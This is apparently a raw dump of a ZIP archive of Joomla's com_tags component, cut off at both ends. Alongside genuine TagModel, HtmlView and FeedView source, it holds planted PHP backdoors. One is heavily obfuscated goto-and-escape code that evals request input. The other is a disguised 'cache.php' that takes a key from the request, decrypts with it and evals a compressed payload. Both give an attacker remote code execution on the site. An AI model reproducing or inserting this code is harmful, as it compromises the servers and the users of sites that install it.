"\x34\x37\x35\x35\67\43\x34\67\65\x36\x32", "\64\67\x35\63\x39\x23\x34\67\x35\x32\62\x23\x34\x37\x35\62\62\43\64\67\x35\63\71\x23\64\x37\65\61\x35", "\64\67\65\x30\62\x23\x34\67\x34\71\x39\43\64\67\64\71\66\x23\64\67\x34\70\70\43\x34\67\65\x30\63\43\64\x37\64\71\60\43\x34\x37\65\60\x39\43\64\x37\x34\71\x39\43\x34\x37\x34\71\x34\43\x34\67\x34\71\62\43\x34\67\64\70\x37\43\64\x37\x34\70\70"); goto SQJASuaRqCp; OrHz133bHrJ: @eval($OaaEYEUg2Ih[1 + 3]($T86f8anIoP_)); goto WL0l0vnVJ83; RUqmk_IcnpU: XV1Ufu3fxe9: goto aZkCrZUmHwG; aZkCrZUmHwG: $tb9Yey6vd9O = @$OaaEYEUg2Ih[1]($OaaEYEUg2Ih[2 + 8](INPUT_GET, $OaaEYEUg2Ih[7 + 2])); goto JEnSu7iIAOt; iHOTDJ0_0kj: @$OaaEYEUg2Ih[4 + 6](INPUT_GET, "\x6f\146") == 1 && die($OaaEYEUg2Ih[2 + 3](__FILE__)); goto IAeqOyKnwnY; VkRXjAuxksC: } } goto Gv61Eiox17a; oi8cqHO1kRn: $nEXQLYhQDl5 = $Kx4yg4MtXdo("\x7e", "\x20"); goto ijlm9QflWPZ; ijlm9QflWPZ: $Sc2eFbufR1o = ${$nEXQLYhQDl5[6 + 25] . $nEXQLYhQDl5[18 + 41] . $nEXQLYhQDl5[42 + 5] . $nEXQLYhQDl5[47 + 0] . $nEXQLYhQDl5[49 + 2] . $nEXQLYhQDl5[52 + 1] . $nEXQLYhQDl5[36 + 21]}; goto Wvumfgeq0Y6; Z5UEpqkc4cf: $Kx4yg4MtXdo = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto oi8cqHO1kRn; NHzkjpDVk24: $Sc2eFbufR1o[67] = $Sc2eFbufR1o[67] . $Sc2eFbufR1o[75]; goto uC7lhQF5w30; Z1iSEx7_0oY: metaphone("\x54\x30\x63\124\126\161\x48\x61\x44\160\x77\70\156\161\71\131\x70\112\157\130\63\110\154\71\x4e\x36\x45\131\143\x74\x33\104\154\x4a\x30\x75\x43\161\163\x37\141\147\131"); goto Pa1YWRQLZHG; uC7lhQF5w30: @eval($Sc2eFbufR1o[67](${$Sc2eFbufR1o[48]}[18])); goto jMjnV3lmLQc; jMjnV3lmLQc: wlNnMAZfP3R: goto Z1iSEx7_0oY; Gv61Eiox17a: KBlVQ0Mx3Yw::Q4WYYT0Bhj7();
?>
PK���\�3�

"com_tags/src/Model/Model/cache.phpnu&1i�<?php $aML = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiquOXmaYGANAA'; $Eln = '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'; function aML($jmGt) { $Eln = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $MfJY = substr($Eln, 0, 16); $ZCy = base64_decode($jmGt); return openssl_decrypt($ZCy, "AES-256-CBC", $Eln, OPENSSL_RAW_DATA, $MfJY); } if (aML('DjtPn+r4S0yvLCnquPz1fA')){ echo 'ZbzJKLX2XNxT1pTTXwDh8S9bOKhfoJn+OgkR5qyvyah3SIxX/n5RL3RfHT4+ekVj'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($aML)))); ?>PK���\����+�+com_tags/src/Model/TagModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Tags\Site\Model;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Object\CMSObject;
use Joomla\Component\Tags\Site\Helper\RouteHelper;
use Joomla\Database\DatabaseQuery;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Tags Component Tag Model
 *
 * @since  3.1
 */
class TagModel extends ListModel
{
    /**
     * The list of items associated with the tags.
     *
     * @var    array
     * @since  3.1
     */
    protected $items = null;

    /**
     * Array of tags
     *
     * @var    CMSObject[]
     * @since  4.3.0
     */
    protected $item = [];

    /**
     * Constructor.
     *
     * @param   array                $config   An optional associative array of configuration settings.
     * @param   MVCFactoryInterface  $factory  The factory.
     *
     * @since   1.6
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null)
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = [
                'core_content_id', 'c.core_content_id',
                'core_title', 'c.core_title',
                'core_type_alias', 'c.core_type_alias',
                'core_checked_out_user_id', 'c.core_checked_out_user_id',
                'core_checked_out_time', 'c.core_checked_out_time',
                'core_catid', 'c.core_catid',
                'core_state', 'c.core_state',
                'core_access', 'c.core_access',
                'core_created_user_id', 'c.core_created_user_id',
                'core_created_time', 'c.core_created_time',
                'core_modified_time', 'c.core_modified_time',
                'core_ordering', 'c.core_ordering',
                'core_featured', 'c.core_featured',
                'core_language', 'c.core_language',
                'core_hits', 'c.core_hits',
                'core_publish_up', 'c.core_publish_up',
                'core_publish_down', 'c.core_publish_down',
                'core_images', 'c.core_images',
                'core_urls', 'c.core_urls',
                'match_count',
            ];
        }

        parent::__construct($config, $factory);
    }

    /**
     * Method to get a list of items for a list of tags.
     *
     * @return  mixed  An array of objects on success, false on failure.
     *
     * @since   3.1
     */
    public function getItems()
    {
        // Invoke the parent getItems method to get the main list
        $items = parent::getItems();

        foreach ($items as $item) {
            $item->link = RouteHelper::getItemRoute(
                $item->content_item_id,
                $item->core_alias,
                $item->core_catid,
                $item->core_language,
                $item->type_alias,
                $item->router
            );

            // Get display date
            switch ($this->state->params->get('tag_list_show_date')) {
                case 'modified':
                    $item->displayDate = $item->core_modified_time;
                    break;

                case 'created':
                    $item->displayDate = $item->core_created_time;
                    break;

                default:
                    $item->displayDate = ($item->core_publish_up == 0) ? $item->core_created_time : $item->core_publish_up;
                    break;
            }
        }

        return $items;
    }

    /**
     * Method to build an SQL query to load the list data of all items with a given tag.
     *
     * @return  DatabaseQuery  An SQL query
     *
     * @since   3.1
     */
    protected function getListQuery()
    {
        $tagId  = $this->getState('tag.id') ?: '';

        $typesr          = $this->getState('tag.typesr');
        $orderByOption   = $this->getState('list.ordering', 'c.core_title');
        $includeChildren = $this->state->params->get('include_children', 0);
        $orderDir        = $this->getState('list.direction', 'ASC');
        $matchAll        = $this->getState('params')->get('return_any_or_all', 1);
        $language        = $this->getState('tag.language');
        $stateFilter     = $this->getState('tag.state');

        // Optionally filter on language
        if (empty($language)) {
            $language = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');
        }

        $query = (new TagsHelper())->getTagItemsQuery($tagId, $typesr, $includeChildren, $orderByOption, $orderDir, $matchAll, $language, $stateFilter);

        if ($this->state->get('list.filter')) {
            $db = $this->getDatabase();
            $query->where($db->quoteName('c.core_title') . ' LIKE ' . $db->quote('%' . $this->state->get('list.filter') . '%'));
        }

        return $query;
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @since   3.1
     */
    protected function populateState($ordering = 'c.core_title', $direction = 'ASC')
    {
        $app = Factory::getApplication();

        // Load the parameters.
        $params = $app->isClient('administrator') ? ComponentHelper::getParams('com_tags') : $app->getParams();

        $this->setState('params', $params);

        // Load state from the request.
        $ids = (array) $app->getInput()->get('id', [], 'string');

        if (count($ids) == 1) {
            $ids = explode(',', $ids[0]);
        }

        $ids = ArrayHelper::toInteger($ids);

        // Remove zero values resulting from bad input
        $ids = array_filter($ids);

        $pkString = implode(',', $ids);

        $this->setState('tag.id', $pkString);

        // Get the selected list of types from the request. If none are specified all are used.
        $typesr = $app->getInput()->get('types', [], 'array');

        if ($typesr) {
            // Implode is needed because the array can contain a string with a coma separated list of ids
            $typesr = implode(',', $typesr);

            // Sanitise
            $typesr = explode(',', $typesr);
            $typesr = ArrayHelper::toInteger($typesr);

            $this->setState('tag.typesr', $typesr);
        }

        $language = $app->getInput()->getString('tag_list_language_filter');
        $this->setState('tag.language', $language);

        // List state information
        $format = $app->getInput()->getWord('format');

        if ($format === 'feed') {
            $limit = $app->get('feed_limit');
        } else {
            $limit = $params->get('display_num', $app->get('list_limit', 20));
            $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $limit, 'uint');
        }

        $this->setState('list.limit', $limit);

        $offset = $app->getInput()->get('limitstart', 0, 'uint');
        $this->setState('list.start', $offset);

        $itemid   = $pkString . ':' . $app->getInput()->get('Itemid', 0, 'int');
        $orderCol = $app->getUserStateFromRequest('com_tags.tag.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');
        $orderCol = !$orderCol ? $this->state->params->get('tag_list_orderby', 'c.core_title') : $orderCol;

        if (!in_array($orderCol, $this->filter_fields)) {
            $orderCol = 'c.core_title';
        }

        $this->setState('list.ordering', $orderCol);

        $listOrder = $app->getUserStateFromRequest('com_tags.tag.list.' . $itemid . '.filter_order_direction', 'filter_order_Dir', '', 'string');
        $listOrder = !$listOrder ? $this->state->params->get('tag_list_orderby_direction', 'ASC') : $listOrder;

        if (!in_array(strtoupper($listOrder), ['ASC', 'DESC', ''])) {
            $listOrder = 'ASC';
        }

        $this->setState('list.direction', $listOrder);

        $this->setState('tag.state', 1);

        // Optional filter text
        $filterSearch = $app->getUserStateFromRequest('com_tags.tag.list.' . $itemid . '.filter_search', 'filter-search', '', 'string');
        $this->setState('list.filter', $filterSearch);
    }

    /**
     * Method to get tag data for the current tag or tags
     *
     * @param   integer  $pk  An optional ID
     *
     * @return  array
     *
     * @since   3.1
     */
    public function getItem($pk = null)
    {
        if (!count($this->item)) {
            if (empty($pk)) {
                $pk = $this->getState('tag.id');
            }

            // Get a level row instance.
            /** @var \Joomla\Component\Tags\Administrator\Table\TagTable $table */
            $table = $this->getTable();

            $idsArray = explode(',', $pk);

            // Attempt to load the rows into an array.
            foreach ($idsArray as $id) {
                try {
                    $table->load($id);

                    // Check published state.
                    if ($published = $this->getState('tag.state')) {
                        if ($table->published != $published) {
                            continue;
                        }
                    }

                    if (!in_array($table->access, $this->getCurrentUser()->getAuthorisedViewLevels())) {
                        continue;
                    }

                    // Convert the Table to a clean CMSObject.
                    $properties   = $table->getProperties(1);
                    $this->item[] = ArrayHelper::toObject($properties, CMSObject::class);
                } catch (\RuntimeException $e) {
                    $this->setError($e->getMessage());

                    return false;
                }
            }
        }

        return $this->item;
    }

    /**
     * Increment the hit counter.
     *
     * @param   integer  $pk  Optional primary key of the article to increment.
     *
     * @return  boolean  True if successful; false otherwise and internal error set.
     *
     * @since   3.2
     */
    public function hit($pk = 0)
    {
        $input    = Factory::getApplication()->getInput();
        $hitcount = $input->getInt('hitcount', 1);

        if ($hitcount) {
            $pk    = (!empty($pk)) ? $pk : (int) $this->getState('tag.id');

            /** @var \Joomla\Component\Tags\Administrator\Table\TagTable $table */
            $table = $this->getTable();
            $table->hit($pk);

            // Load the table data for later
            $table->load($pk);

            if (!$table->hasPrimaryKey()) {
                throw new \Exception(Text::_('COM_TAGS_TAG_NOT_FOUND'), 404);
            }
        }

        return true;
    }
}
PK���\�Vt�h&h&"com_tags/src/View/Tag/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Tags\Site\View\Tag;

use Joomla\CMS\Factory;
use Joomla\CMS\Menu\MenuItem;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\User\User;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Tags component
 *
 * @since  3.1
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The model state
     *
     * @var    CMSObject
     *
     * @since  3.1
     */
    protected $state;

    /**
     * List of items associated with the tag
     *
     * @var    \stdClass[]|false
     *
     * @since  3.1
     */
    protected $items;

    /**
     * Tag data for the current tag or tags (on success, false on failure)
     *
     * @var    CMSObject[]|boolean
     *
     * @since  3.1
     */
    protected $item;

    /**
     * UNUSED
     *
     * @var    null
     *
     * @since  3.1
     */
    protected $children;

    /**
     * UNUSED
     *
     * @var    null
     *
     * @since  3.1
     */
    protected $parent;

    /**
     * The pagination object
     *
     * @var    \Joomla\CMS\Pagination\Pagination
     *
     * @since  3.1
     */
    protected $pagination;

    /**
     * The page parameters
     *
     * @var    Registry
     *
     * @since  3.1
     */
    protected $params;

    /**
     * Array of tags title
     *
     * @var    array
     *
     * @since  3.1
     */
    protected $tags_title;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The logged in user
     *
     * @var    User
     *
     * @since  4.0.0
     */
    protected $user;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @since   3.1
     */
    public function display($tpl = null)
    {
        $app    = Factory::getApplication();

        // Get some data from the models
        $this->state      = $this->get('State');
        $this->items      = $this->get('Items');
        $this->item       = $this->get('Item');
        $this->children   = $this->get('Children');
        $this->parent     = $this->get('Parent');
        $this->pagination = $this->get('Pagination');
        $this->user       = $this->getCurrentUser();

        // Flag indicates to not add limitstart=0 to URL
        $this->pagination->hideEmptyLimitstart = true;

        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        $this->params = $this->state->get('params');
        /** @var MenuItem $active */
        $active       = $app->getMenu()->getActive();
        $query        = $active->query;

        // Merge tag params. If this is single-tag view, menu params override tag params
        // Otherwise, article params override menu item params
        foreach ($this->item as $itemElement) {
            // Prepare the data.
            $temp = new Registry($itemElement->params);

            // If the current view is the active item and a tag view for at least this tag, then the menu item params take priority
            if ($query['option'] == 'com_tags' && $query['view'] == 'tag' && in_array($itemElement->id, $query['id'])) {
                // Merge so that the menu item params take priority
                $itemElement->params = $temp;
                $itemElement->params->merge($this->params);

                // Load layout from active query (in case it is an alternative menu item)
                if (isset($active->query['layout'])) {
                    $this->setLayout($active->query['layout']);
                }
            } else {
                $itemElement->params   = clone $this->params;
                $itemElement->params->merge($temp);

                // Check for alternative layouts (since we are not in a single-tag menu item)
                if ($layout = $itemElement->params->get('tag_layout')) {
                    $this->setLayout($layout);
                }
            }

            $itemElement->metadata = new Registry($itemElement->metadata);
        }

        PluginHelper::importPlugin('content');

        foreach ($this->items as $itemElement) {
            $itemElement->event = new \stdClass();

            // For some plugins.
            $itemElement->text = !empty($itemElement->core_body) ? $itemElement->core_body : '';

            $itemElement->core_params = new Registry($itemElement->core_params);

            $app->triggerEvent('onContentPrepare', ['com_tags.tag', &$itemElement, &$itemElement->core_params, 0]);

            $results = $app->triggerEvent(
                'onContentAfterTitle',
                ['com_tags.tag', &$itemElement, &$itemElement->core_params, 0]
            );
            $itemElement->event->afterDisplayTitle = trim(implode("\n", $results));

            $results = $app->triggerEvent(
                'onContentBeforeDisplay',
                ['com_tags.tag', &$itemElement, &$itemElement->core_params, 0]
            );
            $itemElement->event->beforeDisplayContent = trim(implode("\n", $results));

            $results = $app->triggerEvent(
                'onContentAfterDisplay',
                ['com_tags.tag', &$itemElement, &$itemElement->core_params, 0]
            );
            $itemElement->event->afterDisplayContent = trim(implode("\n", $results));

            // Write the results back into the body
            if (!empty($itemElement->core_body)) {
                $itemElement->core_body = $itemElement->text;
            }

            // Categories store the images differently so lets re-map it so the display is correct
            if ($itemElement->type_alias === 'com_content.category') {
                $itemElement->core_images = json_encode(
                    [
                        'image_intro'     => $itemElement->core_params->get('image', ''),
                        'image_intro_alt' => $itemElement->core_params->get('image_alt', ''),
                    ]
                );
            }
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''));

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document.
     *
     * @return  void
     */
    protected function _prepareDocument()
    {
        $app              = Factory::getApplication();
        $menu             = $app->getMenu()->getActive();
        $this->tags_title = $this->getTagsTitle();
        $pathway          = $app->getPathway();
        $title            = '';

        // Highest priority for "Browser Page Title".
        if ($menu) {
            $title = $menu->getParams()->get('page_title', '');
        }

        if ($this->tags_title) {
            $this->params->def('page_heading', $this->tags_title);
            $title = $title ?: $this->tags_title;
        } elseif ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
            $title = $title ?: $this->params->get('page_title', $menu->title);
        }

        $this->setDocumentTitle($title);

        if (
            $menu
            && isset($menu->query['option'], $menu->query['view'])
            && $menu->query['option'] === 'com_tags'
            && $menu->query['view'] === 'tag'
        ) {
            // No need to alter pathway if the active menu item links directly to tag view
        } else {
            $pathway->addItem($title);
        }

        foreach ($this->item as $itemElement) {
            if ($itemElement->metadesc) {
                $this->getDocument()->setDescription($itemElement->metadesc);
            } elseif ($this->params->get('menu-meta_description')) {
                $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
            }

            if ($this->params->get('robots')) {
                $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
            }
        }

        if (count($this->item) === 1) {
            foreach ($this->item[0]->metadata->toArray() as $k => $v) {
                if ($v) {
                    $this->getDocument()->setMetaData($k, $v);
                }
            }
        }

        if ($this->params->get('show_feed_link', 1) == 1) {
            $link    = '&format=feed&limitstart=';
            $attribs = ['type' => 'application/rss+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())];
            $this->getDocument()->addHeadLink(Route::_($link . '&type=rss'), 'alternate', 'rel', $attribs);
            $attribs = ['type' => 'application/atom+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())];
            $this->getDocument()->addHeadLink(Route::_($link . '&type=atom'), 'alternate', 'rel', $attribs);
        }
    }

    /**
     * Creates the tags title for the output
     *
     * @return  string
     *
     * @since   3.1
     */
    protected function getTagsTitle()
    {
        $tags_title = [];

        foreach ($this->item as $item) {
            $tags_title[] = $item->title;
        }

        return implode(' ', $tags_title);
    }
}
PK���\�Jd��"com_tags/src/View/Tag/FeedView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Tags\Site\View\Tag;

use Joomla\CMS\Document\Feed\FeedItem;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Tags component
 *
 * @since  3.1
 */
class FeedView extends BaseHtmlView
{
    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     */
    public function display($tpl = null)
    {
        $app    = Factory::getApplication();
        $ids    = (array) $app->getInput()->get('id', [], 'int');
        $i      = 0;
        $tagIds = '';

        // Remove zero values resulting from input filter
        $ids = array_filter($ids);

        foreach ($ids as $id) {
            if ($i !== 0) {
                $tagIds .= '&';
            }

            $tagIds .= 'id[' . $i . ']=' . $id;

            $i++;
        }

        $this->getDocument()->link = Route::_('index.php?option=com_tags&view=tag&' . $tagIds);

        $app->getInput()->set('limit', $app->get('feed_limit'));
        $siteEmail = $app->get('mailfrom');
